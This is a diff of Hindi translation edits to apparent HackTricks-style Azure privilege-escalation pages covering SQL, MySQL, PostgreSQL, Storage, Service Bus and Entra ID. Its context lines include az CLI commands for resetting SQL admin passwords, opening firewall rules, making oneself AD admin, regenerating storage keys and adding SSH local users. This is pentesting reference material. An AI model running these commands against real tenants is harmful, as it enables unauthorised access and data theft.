इन अनुमतियों के साथ, आप ZIP फ़ाइल तैनाती का उपयोग करके Logic App वर्कफ़्लो तैनात कर सकते हैं। ये अनुमतियाँ ऐप विवरण पढ़ने, प्रकाशन क्रेडेंशियल्स तक पहुँचने, परिवर्तनों को लिखने और ऐप कॉन्फ़िगरेशन की सूची बनाने जैसी क्रियाओं को सक्षम बनाती हैं। प्रारंभ अनुमतियों के साथ, आप इच्छित सामग्री के साथ एक नया Logic App अपडेट और तैनात कर सकते हैं।
|
||||
इन अनुमतियों के साथ, आप ZIP फ़ाइल तैनाती का उपयोग करके Logic App कार्यप्रवाह तैनात कर सकते हैं। ये अनुमतियाँ ऐप विवरण पढ़ने, प्रकाशन क्रेडेंशियल्स तक पहुँचने, परिवर्तनों को लिखने और ऐप कॉन्फ़िगरेशन की सूची बनाने जैसी क्रियाओं को सक्षम बनाती हैं। प्रारंभ अनुमतियों के साथ, आप इच्छित सामग्री के साथ एक नया Logic App अपडेट और तैनात कर सकते हैं।
|
||||
```bash
|
||||
az logicapp deployment source config-zip \
|
||||
--name <logic_app_name> \
|
||||
|
||||
@@ -11,7 +11,7 @@ SQL Database के बारे में अधिक जानकारी
|
||||
|
||||
### `Microsoft.DBforMySQL/flexibleServers/read` && `Microsoft.DBforMySQL/flexibleServers/write`
|
||||
|
||||
इस अनुमति के साथ, आप Azure पर MySQL Flexible Server इंस्टेंस बना, अपडेट या हटा सकते हैं। इसमें नए सर्वर की प्रोविजनिंग, मौजूदा सर्वर कॉन्फ़िगरेशन में संशोधन, या सर्वरों को बंद करना शामिल है।
|
||||
इस अनुमति के साथ, आप Azure पर MySQL Flexible Server इंस्टेंस बना, अपडेट या हटा सकते हैं। इसमें नए सर्वरों की प्रोविजनिंग, मौजूदा सर्वर कॉन्फ़िगरेशन में संशोधन, या सर्वरों को बंद करना शामिल है।
|
||||
```bash
|
||||
az mysql flexible-server create \
|
||||
--name <ServerName> \
|
||||
@@ -37,7 +37,7 @@ az mysql flexible-server update --resource-group <resource_group_name> --server-
|
||||
```
|
||||
### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read`
|
||||
|
||||
इस अनुमति के साथ, आप MySQL फ्लेक्सिबल सर्वर के लिए Azure Active Directory (AD) प्रशासकों को कॉन्फ़िगर कर सकते हैं। इसका दुरुपयोग स्वयं या किसी अन्य खाते को AD प्रशासक के रूप में सेट करके किया जा सकता है, जो MySQL सर्वर पर पूर्ण प्रशासनिक नियंत्रण प्रदान करता है। यह महत्वपूर्ण है कि फ्लेक्सिबल-सर्वर में उपयोगकर्ता असाइन किए गए प्रबंधित पहचानें हों।
|
||||
इस अनुमति के साथ, आप MySQL Flexible Server के लिए Azure Active Directory (AD) प्रशासकों को कॉन्फ़िगर कर सकते हैं। इसका दुरुपयोग स्वयं या किसी अन्य खाते को AD प्रशासक के रूप में सेट करके किया जा सकता है, जो MySQL सर्वर पर पूर्ण प्रशासनिक नियंत्रण प्रदान करता है। यह महत्वपूर्ण है कि फ्लेक्सिबल-सर्वर में उपयोगकर्ता असाइन किए गए प्रबंधित पहचानें हों।
|
||||
```bash
|
||||
az mysql flexible-server ad-admin create \
|
||||
--resource-group <ResourceGroupName> \
|
||||
|
||||
+3
-3
@@ -11,7 +11,7 @@ SQL Database के बारे में अधिक जानकारी
|
||||
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/write`
|
||||
|
||||
इस अनुमति के साथ, आप Azure पर PostgreSQL Flexible Server इंस्टेंस बना, अपडेट या हटा सकते हैं। इसमें नए सर्वरों की प्रोविजनिंग, मौजूदा सर्वर कॉन्फ़िगरेशन को संशोधित करना, या सर्वरों को बंद करना शामिल है।
|
||||
इस अनुमति के साथ, आप Azure पर PostgreSQL Flexible Server उदाहरणों को बना, अपडेट या हटा सकते हैं। इसमें नए सर्वरों की प्रोविजनिंग, मौजूदा सर्वर कॉन्फ़िगरेशन को संशोधित करना, या सर्वरों को बंद करना शामिल है।
|
||||
```bash
|
||||
az postgres flexible-server create \
|
||||
--name <ServerName> \
|
||||
@@ -24,7 +24,7 @@ az postgres flexible-server create \
|
||||
--tier <PricingTier> \
|
||||
--version <PostgreSQLVersion>
|
||||
```
|
||||
उदाहरण के लिए, ये अनुमतियाँ PostgreSQL पासवर्ड बदलने की अनुमति देती हैं, जो कि निश्चित रूप से तब उपयोगी है जब PostgreSQL प्रमाणीकरण सक्षम हो।
|
||||
उदाहरण के लिए, ये अनुमतियाँ PostgreSQL पासवर्ड बदलने की अनुमति देती हैं, जो कि निश्चित रूप से तब उपयोगी होती हैं जब PostgreSQL प्रमाणीकरण सक्षम हो।
|
||||
```bash
|
||||
az postgres flexible-server update \
|
||||
--resource-group <resource_group_name> \
|
||||
@@ -37,7 +37,7 @@ az postgres flexible-server update --resource-group <resource_group_name> --serv
|
||||
```
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforPostgreSQL/flexibleServers/administrators/write` && `Microsoft.DBforPostgreSQL/flexibleServers/administrators/read`
|
||||
|
||||
इस अनुमति के साथ, आप PostgreSQL Flexible Server के लिए Azure Active Directory (AD) प्रशासकों को कॉन्फ़िगर कर सकते हैं। इसका दुरुपयोग करके आप स्वयं या किसी अन्य खाते को AD प्रशासक के रूप में सेट कर सकते हैं, जिससे PostgreSQL सर्वर पर पूर्ण प्रशासनिक नियंत्रण प्राप्त होता है। मौजूदा प्रमुख को अपडेट करना अभी समर्थित नहीं है, इसलिए यदि कोई बनाया गया है, तो आपको पहले उसे हटाना होगा।
|
||||
इस अनुमति के साथ, आप PostgreSQL Flexible Server के लिए Azure Active Directory (AD) प्रशासकों को कॉन्फ़िगर कर सकते हैं। इसका लाभ उठाया जा सकता है जब आप स्वयं या किसी अन्य खाते को AD प्रशासक के रूप में सेट करते हैं, जिससे PostgreSQL सर्वर पर पूर्ण प्रशासनिक नियंत्रण प्राप्त होता है। मौजूदा प्रमुख को अपडेट करना अभी समर्थित नहीं है, इसलिए यदि कोई बनाया गया है, तो आपको पहले उसे हटाना होगा।
|
||||
|
||||
यह महत्वपूर्ण है कि फ्लेक्सिबल-सर्वर में उपयोगकर्ता असाइन किए गए प्रबंधित पहचानें हों।
|
||||
```bash
|
||||
|
||||
+3
-3
@@ -83,7 +83,7 @@ print("----------------------------")
|
||||
```
|
||||
### संदेश प्राप्त करें। क्रिया: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` या `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
आप PrimaryConnectionString प्राप्त कर सकते हैं, जो Service Bus namespace के लिए एक प्रमाण पत्र के रूप में कार्य करता है। इस कनेक्शन स्ट्रिंग का उपयोग करके, आप namespace के भीतर किसी भी कतार या सदस्यता से संदेश प्राप्त कर सकते हैं, जिससे संभावित संवेदनशील या महत्वपूर्ण डेटा तक पहुंच मिलती है, डेटा निकासी की अनुमति मिलती है, या संदेश प्रसंस्करण और अनुप्रयोग कार्यप्रवाह में हस्तक्षेप कर सकते हैं।
|
||||
आप PrimaryConnectionString प्राप्त कर सकते हैं, जो Service Bus namespace के लिए एक क्रेडेंशियल के रूप में कार्य करता है। इस कनेक्शन स्ट्रिंग का उपयोग करके, आप namespace के भीतर किसी भी कतार या सदस्यता से संदेश प्राप्त कर सकते हैं, जिससे संभावित संवेदनशील या महत्वपूर्ण डेटा तक पहुंच मिलती है, डेटा निकासी की अनुमति मिलती है, या संदेश प्रसंस्करण और अनुप्रयोग कार्यप्रवाह में हस्तक्षेप कर सकते हैं।
|
||||
```python
|
||||
#You need to install the following libraries
|
||||
#pip install azure-servicebus
|
||||
@@ -129,7 +129,7 @@ print("----------------------------")
|
||||
```
|
||||
### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
|
||||
|
||||
यदि आपके पास ये अनुमतियाँ हैं, तो आप साझा पहुँच कुंजी पढ़कर या बनाकर विशेषाधिकार बढ़ा सकते हैं। ये कुंजी Service Bus namespace पर पूर्ण नियंत्रण की अनुमति देती हैं, जिसमें कतारों, विषयों का प्रबंधन और संदेश भेजना/प्राप्त करना शामिल है, जो संभावित रूप से भूमिका-आधारित पहुँच नियंत्रण (RBAC) को बायपास कर सकता है।
|
||||
यदि आपके पास ये अनुमतियाँ हैं, तो आप साझा पहुँच कुंजी पढ़कर या बनाकर विशेषाधिकार बढ़ा सकते हैं। ये कुंजी Service Bus namespace पर पूर्ण नियंत्रण की अनुमति देती हैं, जिसमें कतारों, विषयों का प्रबंधन और संदेश भेजना/प्राप्त करना शामिल है, जो संभावित रूप से भूमिका-आधारित पहुँच नियंत्रण (RBAC) को बायपास कर सकती हैं।
|
||||
```bash
|
||||
az servicebus namespace authorization-rule update \
|
||||
--resource-group <MyResourceGroup> \
|
||||
@@ -137,7 +137,7 @@ az servicebus namespace authorization-rule update \
|
||||
--name RootManageSharedAccessKey \
|
||||
--rights Manage Listen Send
|
||||
```
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
|
||||
@@ -12,7 +12,7 @@ SQL Database के बारे में अधिक जानकारी
|
||||
|
||||
### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write`
|
||||
|
||||
इन अनुमतियों के साथ, एक उपयोगकर्ता Azure SQL सर्वरों को अपडेट या बनाकर विशेषाधिकार वृद्धि कर सकता है और महत्वपूर्ण कॉन्फ़िगरेशन, जिसमें प्रशासनिक क्रेडेंशियल शामिल हैं, को संशोधित कर सकता है। यह अनुमति उपयोगकर्ता को सर्वर गुणों को अपडेट करने की अनुमति देती है, जिसमें SQL सर्वर प्रशासनिक पासवर्ड शामिल है, जिससे अनधिकृत पहुंच या सर्वर पर नियंत्रण प्राप्त करना संभव होता है। वे नए सर्वर भी बना सकते हैं, जो संभावित रूप से दुर्भावनापूर्ण उद्देश्यों के लिए छायादार बुनियादी ढाँचा पेश कर सकते हैं। यह विशेष रूप से महत्वपूर्ण हो जाता है जब "Microsoft Entra Authentication Only" बंद होता है, क्योंकि वे SQL-आधारित प्रमाणीकरण का लाभ उठाकर बिना किसी प्रतिबंध के पहुंच प्राप्त कर सकते हैं।
|
||||
इन अनुमतियों के साथ, एक उपयोगकर्ता Azure SQL सर्वरों को अपडेट या बनाकर विशेषाधिकार वृद्धि कर सकता है और महत्वपूर्ण कॉन्फ़िगरेशन, जिसमें प्रशासनिक क्रेडेंशियल शामिल हैं, को संशोधित कर सकता है। यह अनुमति उपयोगकर्ता को सर्वर की संपत्तियों को अपडेट करने की अनुमति देती है, जिसमें SQL सर्वर प्रशासनिक पासवर्ड शामिल है, जिससे अनधिकृत पहुंच या सर्वर पर नियंत्रण प्राप्त करना संभव होता है। वे नए सर्वर भी बना सकते हैं, जो संभावित रूप से दुर्भावनापूर्ण उद्देश्यों के लिए छायादार बुनियादी ढाँचा पेश कर सकते हैं। यह विशेष रूप से महत्वपूर्ण हो जाता है जब "Microsoft Entra Authentication Only" बंद होता है, क्योंकि वे SQL-आधारित प्रमाणीकरण का लाभ उठाकर बिना किसी प्रतिबंध के पहुंच प्राप्त कर सकते हैं।
|
||||
```bash
|
||||
# Change the server password
|
||||
az sql server update \
|
||||
@@ -37,7 +37,7 @@ az sql server update \
|
||||
```
|
||||
### `Microsoft.Sql/servers/firewallRules/write`
|
||||
|
||||
एक हमलावर Azure SQL सर्वरों पर फ़ायरवॉल नियमों में हेरफेर कर सकता है ताकि अनधिकृत पहुँच की अनुमति मिल सके। इसका उपयोग विशिष्ट IP पते या पूरे IP रेंज, जिसमें सार्वजनिक IP शामिल हैं, को सर्वर पर खोलने के लिए किया जा सकता है, जिससे दुर्भावनापूर्ण अभिनेताओं के लिए पहुँच सक्षम होती है। यह पोस्ट-एक्सप्लॉइटेशन गतिविधि मौजूदा नेटवर्क सुरक्षा नियंत्रणों को बायपास करने, स्थिरता स्थापित करने, या संवेदनशील संसाधनों को उजागर करके वातावरण के भीतर पार्श्व आंदोलन को सुविधाजनक बनाने के लिए उपयोग की जा सकती है।
|
||||
एक हमलावर Azure SQL सर्वरों पर फ़ायरवॉल नियमों में हेरफेर कर सकता है ताकि अनधिकृत पहुँच की अनुमति मिल सके। इसका उपयोग विशिष्ट IP पते या पूरे IP रेंज, जिसमें सार्वजनिक IP शामिल हैं, को सर्वर खोलने के लिए किया जा सकता है, जिससे दुर्भावनापूर्ण अभिनेताओं के लिए पहुँच सक्षम होती है। यह पोस्ट-एक्सप्लॉइटेशन गतिविधि मौजूदा नेटवर्क सुरक्षा नियंत्रणों को बायपास करने, स्थिरता स्थापित करने, या संवेदनशील संसाधनों को उजागर करके वातावरण के भीतर पार्श्व आंदोलन को सुविधाजनक बनाने के लिए उपयोग की जा सकती है।
|
||||
```bash
|
||||
# Create Firewall Rule
|
||||
az sql server firewall-rule create \
|
||||
@@ -55,7 +55,7 @@ az sql server firewall-rule update \
|
||||
--start-ip-address <new-start-ip-address> \
|
||||
--end-ip-address <new-end-ip-address>
|
||||
```
|
||||
इसके अलावा, `Microsoft.Sql/servers/outboundFirewallRules/delete` अनुमति आपको एक फ़ायरवॉल नियम को हटाने की अनुमति देती है।
|
||||
अतिरिक्त रूप से, `Microsoft.Sql/servers/outboundFirewallRules/delete` अनुमति आपको एक फ़ायरवॉल नियम को हटाने की अनुमति देती है।
|
||||
नोट: सार्वजनिक पहुंच सक्षम होना आवश्यक है
|
||||
|
||||
### `Microsoft.Sql/servers/ipv6FirewallRules/write`
|
||||
@@ -74,7 +74,7 @@ az sql server firewall-rule create \
|
||||
|
||||
### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read`
|
||||
|
||||
इन अनुमतियों के साथ आप Azure SQL Server वातावरण में SQL डेटाबेस तक पहुंचकर प्रिवेस्क कर सकते हैं और महत्वपूर्ण जानकारी प्राप्त कर सकते हैं। नीचे दिए गए कमांड का उपयोग करके, एक हमलावर या अधिकृत उपयोगकर्ता खुद को या किसी अन्य खाते को Azure AD प्रशासक के रूप में सेट कर सकता है। यदि "Microsoft Entra Authentication Only" सक्षम है, तो आप सर्वर और इसके उदाहरणों तक पहुंच सकते हैं। यहाँ SQL सर्वर के लिए Azure AD प्रशासक सेट करने का कमांड है:
|
||||
इन अनुमतियों के साथ आप Azure SQL Server वातावरण में SQL डेटाबेस तक पहुंचकर प्रिवेस्क कर सकते हैं और महत्वपूर्ण जानकारी प्राप्त कर सकते हैं। नीचे दिए गए कमांड का उपयोग करके, एक हमलावर या अधिकृत उपयोगकर्ता खुद को या किसी अन्य खाते को Azure AD प्रशासक के रूप में सेट कर सकता है। यदि "Microsoft Entra Authentication Only" सक्षम है, तो आप सर्वर और इसके उदाहरणों तक पहुंच सकते हैं। यहाँ एक SQL सर्वर के लिए Azure AD प्रशासक सेट करने का कमांड है:
|
||||
```bash
|
||||
az sql server ad-admin create \
|
||||
--server <server_name> \
|
||||
|
||||
@@ -18,7 +18,7 @@ az storage account keys list --account-name <acc-name>
|
||||
```
|
||||
### `Microsoft.Storage/storageAccounts/regenerateKey/action`
|
||||
|
||||
इस अनुमति के साथ एक प्रिंसिपल स्टोरेज खातों के **एक्सेस कीज़** के नए गुप्त मान को नवीनीकरण और प्राप्त करने में सक्षम होगा। यह प्रिंसिपल को स्टोरेज खातों पर अपने विशेषाधिकारों को बढ़ाने की अनुमति देता है।
|
||||
इस अनुमति के साथ एक प्रिंसिपल स्टोरेज खातों के **एक्सेस की** के नए गुप्त मान को नवीनीकरण और प्राप्त करने में सक्षम होगा। यह प्रिंसिपल को स्टोरेज खातों पर अपने विशेषाधिकारों को बढ़ाने की अनुमति देता है।
|
||||
|
||||
इसके अलावा, प्रतिक्रिया में, उपयोगकर्ता को नवीनीकृत कुंजी का मान और नवीनीकृत न होने वाली कुंजी का मान भी प्राप्त होगा:
|
||||
```bash
|
||||
@@ -70,7 +70,7 @@ az storage container immutability-policy update \
|
||||
|
||||
### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)`
|
||||
|
||||
इस अनुमति के साथ, एक हमलावर एक नए स्थानीय उपयोगकर्ता को Azure Storage खाते के लिए बना और अपडेट कर सकता है (यदि उसके पास `Microsoft.Storage/storageAccounts/localusers/read` अनुमति है), जिसमें उपयोगकर्ता की अनुमतियों और होम डायरेक्टरी को निर्दिष्ट करना शामिल है। यह अनुमति महत्वपूर्ण है क्योंकि यह हमलावर को विशिष्ट अनुमतियों जैसे पढ़ने (r), लिखने (w), हटाने (d), और सूची (l) के साथ एक स्टोरेज खाते को स्वयं को सौंपने की अनुमति देती है। इसके अतिरिक्त, जो प्रमाणीकरण विधियाँ इसका उपयोग करती हैं, वे Azure-जनित पासवर्ड और SSH कुंजी जोड़े हो सकती हैं। यह जांच नहीं की जाती है कि क्या उपयोगकर्ता पहले से मौजूद है, इसलिए आप पहले से मौजूद अन्य उपयोगकर्ताओं को ओवरराइट कर सकते हैं। हमलावर अपनी विशेषताओं को बढ़ा सकता है और स्टोरेज खाते तक SSH पहुंच प्राप्त कर सकता है, संभावित रूप से संवेदनशील डेटा को उजागर या समझौता कर सकता है।
|
||||
इस अनुमति के साथ, एक हमलावर एक नए स्थानीय उपयोगकर्ता को Azure Storage खाते (जो हायरार्किकल नेमस्पेस के साथ कॉन्फ़िगर किया गया है) के लिए बना और अपडेट कर सकता है (यदि उसके पास `Microsoft.Storage/storageAccounts/localusers/read` अनुमति है), जिसमें उपयोगकर्ता की अनुमतियाँ और होम डायरेक्टरी निर्दिष्ट करना शामिल है। यह अनुमति महत्वपूर्ण है क्योंकि यह हमलावर को विशिष्ट अनुमतियों जैसे पढ़ने (r), लिखने (w), हटाने (d), और सूची (l) आदि के साथ एक स्टोरेज खाते को अपने लिए प्रदान करने की अनुमति देती है। इसके अतिरिक्त, जो प्रमाणीकरण विधियाँ इसका उपयोग करती हैं, वे Azure-जनित पासवर्ड और SSH कुंजी जोड़े हो सकते हैं। यह जांच नहीं की जाती है कि क्या कोई उपयोगकर्ता पहले से मौजूद है, इसलिए आप पहले से मौजूद अन्य उपयोगकर्ताओं को ओवरराइट कर सकते हैं। हमलावर अपनी विशेषताओं को बढ़ा सकता है और स्टोरेज खाते तक SSH पहुंच प्राप्त कर सकता है, संभावित रूप से संवेदनशील डेटा को उजागर या समझौता कर सकता है।
|
||||
```bash
|
||||
az storage account local-user create \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
@@ -89,7 +89,7 @@ az storage account local-user regenerate-password \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <LOCAL_USER_NAME>
|
||||
```
|
||||
Azure Blob Storage तक SFTP के माध्यम से पहुँचने के लिए (is_hns_enabled को सत्य होना चाहिए) एक स्थानीय उपयोगकर्ता के माध्यम से SFTP का उपयोग करते हुए आप (आप कनेक्ट करने के लिए ssh कुंजी का भी उपयोग कर सकते हैं):
|
||||
Azure Blob Storage को SFTP के माध्यम से एक्सेस करने के लिए (is_hns_enabled को true होना चाहिए) एक स्थानीय उपयोगकर्ता के माध्यम से SFTP का उपयोग करते हुए आप (आप कनेक्ट करने के लिए ssh कुंजी का भी उपयोग कर सकते हैं):
|
||||
```bash
|
||||
sftp <storage-account-name>.<local-user-name>@<storage-account-name>.blob.core.windows.net
|
||||
#regenerated-password
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Azure Active Directory (Azure AD) माइक्रोसॉफ्ट की पहचान और पहुँच प्रबंधन के लिए क्लाउड-आधारित सेवा है। यह कर्मचारियों को साइन इन करने और संसाधनों तक पहुँच प्राप्त करने में सहायक है, जो संगठन के भीतर और बाहर, माइक्रोसॉफ्ट 365, Azure पोर्टल, और कई अन्य SaaS अनुप्रयोगों को शामिल करता है। Azure AD का डिज़ाइन आवश्यक पहचान सेवाओं को प्रदान करने पर केंद्रित है, जिसमें प्रमुख रूप से **authentication, authorization, and user management** शामिल हैं।
|
||||
Azure Active Directory (Azure AD) माइक्रोसॉफ्ट की पहचान और पहुँच प्रबंधन के लिए क्लाउड-आधारित सेवा है। यह कर्मचारियों को साइन इन करने और संसाधनों तक पहुँच प्राप्त करने में सहायक है, जो संगठन के भीतर और बाहर, Microsoft 365, Azure पोर्टल, और कई अन्य SaaS अनुप्रयोगों को शामिल करता है। Azure AD का डिज़ाइन आवश्यक पहचान सेवाओं को प्रदान करने पर केंद्रित है, जिसमें प्रमुख रूप से **authentication, authorization, and user management** शामिल हैं।
|
||||
|
||||
Azure AD की प्रमुख विशेषताओं में **multi-factor authentication** और **conditional access** शामिल हैं, साथ ही अन्य माइक्रोसॉफ्ट सुरक्षा सेवाओं के साथ सहज एकीकरण। ये विशेषताएँ उपयोगकर्ता पहचान की सुरक्षा को महत्वपूर्ण रूप से बढ़ाती हैं और संगठनों को उनकी पहुँच नीतियों को प्रभावी ढंग से लागू और प्रवर्तन करने में सक्षम बनाती हैं। माइक्रोसॉफ्ट के क्लाउड सेवाओं के पारिस्थितिकी तंत्र का एक मौलिक घटक होने के नाते, Azure AD उपयोगकर्ता पहचान के क्लाउड-आधारित प्रबंधन के लिए महत्वपूर्ण है।
|
||||
|
||||
@@ -184,7 +184,7 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
जब आप किसी प्रोग्राम के माध्यम से **CLI** के जरिए Azure में **लॉगिन** करते हैं, तो आप **Microsoft** के एक **tenant** से संबंधित **Azure Application** का उपयोग कर रहे हैं। ये Applications, जैसे कि आप अपने खाते में बना सकते हैं, **एक क्लाइंट आईडी** रखते हैं। आप **उनमें से सभी को नहीं देख पाएंगे** जो आप कंसोल में **अनुमत एप्लिकेशन सूचियों** में देख सकते हैं, **लेकिन ये डिफ़ॉल्ट रूप से अनुमत हैं**।
|
||||
जब आप **CLI** के माध्यम से Azure में किसी भी प्रोग्राम के साथ **लॉगिन** करते हैं, तो आप **Microsoft** के एक **tenant** से संबंधित **Azure Application** का उपयोग कर रहे हैं। ये Applications, जैसे कि आप अपने खाते में बना सकते हैं, **एक क्लाइंट आईडी** होती हैं। आप **उनमें से सभी को नहीं देख पाएंगे** जो आप कंसोल में **अनुमत एप्लिकेशन सूचियों** में देख सकते हैं, **लेकिन वे डिफ़ॉल्ट रूप से अनुमत हैं**।
|
||||
|
||||
उदाहरण के लिए, एक **powershell script** जो **प्रमाणित** करती है, एक ऐप का उपयोग करती है जिसकी क्लाइंट आईडी **`1950a258-227b-4e31-a9cf-717495945fc2`** है। भले ही ऐप कंसोल में दिखाई न दे, एक सिस्टम एडमिन उस एप्लिकेशन को **ब्लॉक कर सकता है** ताकि उपयोगकर्ता उस ऐप के माध्यम से कनेक्ट करने वाले उपकरणों का उपयोग न कर सकें।
|
||||
|
||||
@@ -224,7 +224,7 @@ az account tenant list
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### उपयोगकर्ता
|
||||
### Users
|
||||
|
||||
Entra ID उपयोगकर्ताओं के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
@@ -792,7 +792,7 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> एक ऐप जिसमें अनुमति **`AppRoleAssignment.ReadWrite`** है, **Global Admin** के रूप में **escalate** कर सकता है।\
|
||||
> एक ऐप जिसमें अनुमति **`AppRoleAssignment.ReadWrite`** है, **Global Admin** में **escalate** कर सकता है।\
|
||||
> अधिक जानकारी के लिए [**यहाँ देखें**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
|
||||
> [!NOTE]
|
||||
@@ -800,9 +800,9 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
|
||||
> इसलिए, यदि आप इस **पासवर्ड** को ढूंढ लेते हैं, तो आप **service principal** के रूप में **tenant** के **अंदर** पहुँच सकते हैं।\
|
||||
> ध्यान दें कि यह पासवर्ड केवल उत्पन्न होने पर ही दिखाई देता है (आप इसे बदल सकते हैं लेकिन फिर से प्राप्त नहीं कर सकते)।\
|
||||
> **एप्लिकेशन** का **स्वामी** इसे **पासवर्ड** जोड़ सकता है (ताकि वह इसकी नकल कर सके)।\
|
||||
> इन सेवा प्रिंसिपलों के रूप में लॉगिन **जोखिमपूर्ण** के रूप में **चिह्नित** नहीं होते हैं और इनमें **MFA** नहीं होगा।
|
||||
> इन service principals के रूप में लॉगिन **जोखिमपूर्ण** के रूप में **चिह्नित नहीं होते** और इनमें **MFA नहीं होगा।**
|
||||
|
||||
Microsoft के सामान्य उपयोग किए जाने वाले ऐप आईडी की सूची [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) पर पाई जा सकती है।
|
||||
Microsoft के सामान्य उपयोग किए जाने वाले App IDs की सूची [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) पर पाई जा सकती है।
|
||||
|
||||
### Managed Identities
|
||||
|
||||
@@ -1088,9 +1088,9 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
|
||||
### विशेषाधिकार पहचान प्रबंधन (PIM)
|
||||
|
||||
Azure में विशेषाधिकार पहचान प्रबंधन (PIM) **अधिकतम विशेषाधिकार** को उपयोगकर्ताओं को अनावश्यक रूप से सौंपने से **रोकने** में मदद करता है।
|
||||
Azure में विशेषाधिकार पहचान प्रबंधन (PIM) **अधिकतम विशेषाधिकार** को अनावश्यक रूप से उपयोगकर्ताओं को सौंपने से **रोकने** में मदद करता है।
|
||||
|
||||
PIM द्वारा प्रदान की जाने वाली मुख्य विशेषताओं में से एक यह है कि यह लगातार सक्रिय प्रिंसिपलों को भूमिकाएँ सौंपने की अनुमति नहीं देता, बल्कि उन्हें **एक निश्चित समय (जैसे 6 महीने)** के लिए **योग्य** बनाता है। फिर, जब भी उपयोगकर्ता उस भूमिका को सक्रिय करना चाहता है, तो उसे यह बताना होगा कि उसे विशेषाधिकार की आवश्यकता कितने समय के लिए है (जैसे 3 घंटे)। फिर एक **व्यवस्थापक को** अनुरोध को मंजूरी देने की आवश्यकता होती है।\
|
||||
PIM द्वारा प्रदान की गई मुख्य विशेषताओं में से एक यह है कि यह लगातार सक्रिय प्रिंसिपलों को भूमिकाएँ सौंपने की अनुमति नहीं देता, बल्कि उन्हें **एक निश्चित समय (जैसे 6 महीने)** के लिए **योग्य** बनाता है। फिर, जब भी उपयोगकर्ता उस भूमिका को सक्रिय करना चाहता है, तो उसे उस समय को इंगित करते हुए इसके लिए अनुरोध करना होगा जिसकी उसे आवश्यकता है (जैसे 3 घंटे)। फिर एक **व्यवस्थापक को** अनुरोध को मंजूरी देने की आवश्यकता होती है।\
|
||||
ध्यान दें कि उपयोगकर्ता **समय बढ़ाने** के लिए भी अनुरोध कर सकेगा।
|
||||
|
||||
इसके अलावा, **PIM ईमेल भेजता है** जब किसी को विशेषाधिकार वाली भूमिका सौंपा जा रहा हो।
|
||||
@@ -1118,9 +1118,9 @@ PIM द्वारा प्रदान की जाने वाली म
|
||||
|
||||
### Entra पहचान सुरक्षा
|
||||
|
||||
Entra पहचान सुरक्षा एक सुरक्षा सेवा है जो **यह पहचानने** की अनुमति देती है कि जब कोई उपयोगकर्ता या साइन-इन बहुत जोखिम भरा होता है, तो उसे स्वीकार नहीं किया जा सकता, जिससे उपयोगकर्ता या साइन-इन प्रयास को **ब्लॉक** किया जा सकता है।
|
||||
Entra पहचान सुरक्षा एक सुरक्षा सेवा है जो **यह पहचानने की अनुमति देती है कि जब कोई उपयोगकर्ता या साइन-इन बहुत जोखिम भरा होता है** तो उसे स्वीकार नहीं किया जा सकता, जिससे उपयोगकर्ता या साइन-इन प्रयास को **ब्लॉक** किया जा सकता है।
|
||||
|
||||
यह व्यवस्थापक को इसे इस तरह कॉन्फ़िगर करने की अनुमति देता है कि जब जोखिम "कम और ऊपर", "मध्यम और ऊपर" या "उच्च" हो, तो प्रयासों को **ब्लॉक** किया जाए। हालाँकि, डिफ़ॉल्ट रूप से यह पूरी तरह से **अक्षम** है:
|
||||
यह व्यवस्थापक को इसे इस तरह कॉन्फ़िगर करने की अनुमति देता है कि जब जोखिम "कम और ऊपर", "मध्यम और ऊपर" या "उच्च" हो, तो प्रयासों को **ब्लॉक** किया जाए। हालाँकि, डिफ़ॉल्ट रूप से यह पूरी तरह से **निष्क्रिय** है:
|
||||
|
||||
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -1129,10 +1129,10 @@ Entra पहचान सुरक्षा एक सुरक्षा से
|
||||
|
||||
### Entra पासवर्ड सुरक्षा
|
||||
|
||||
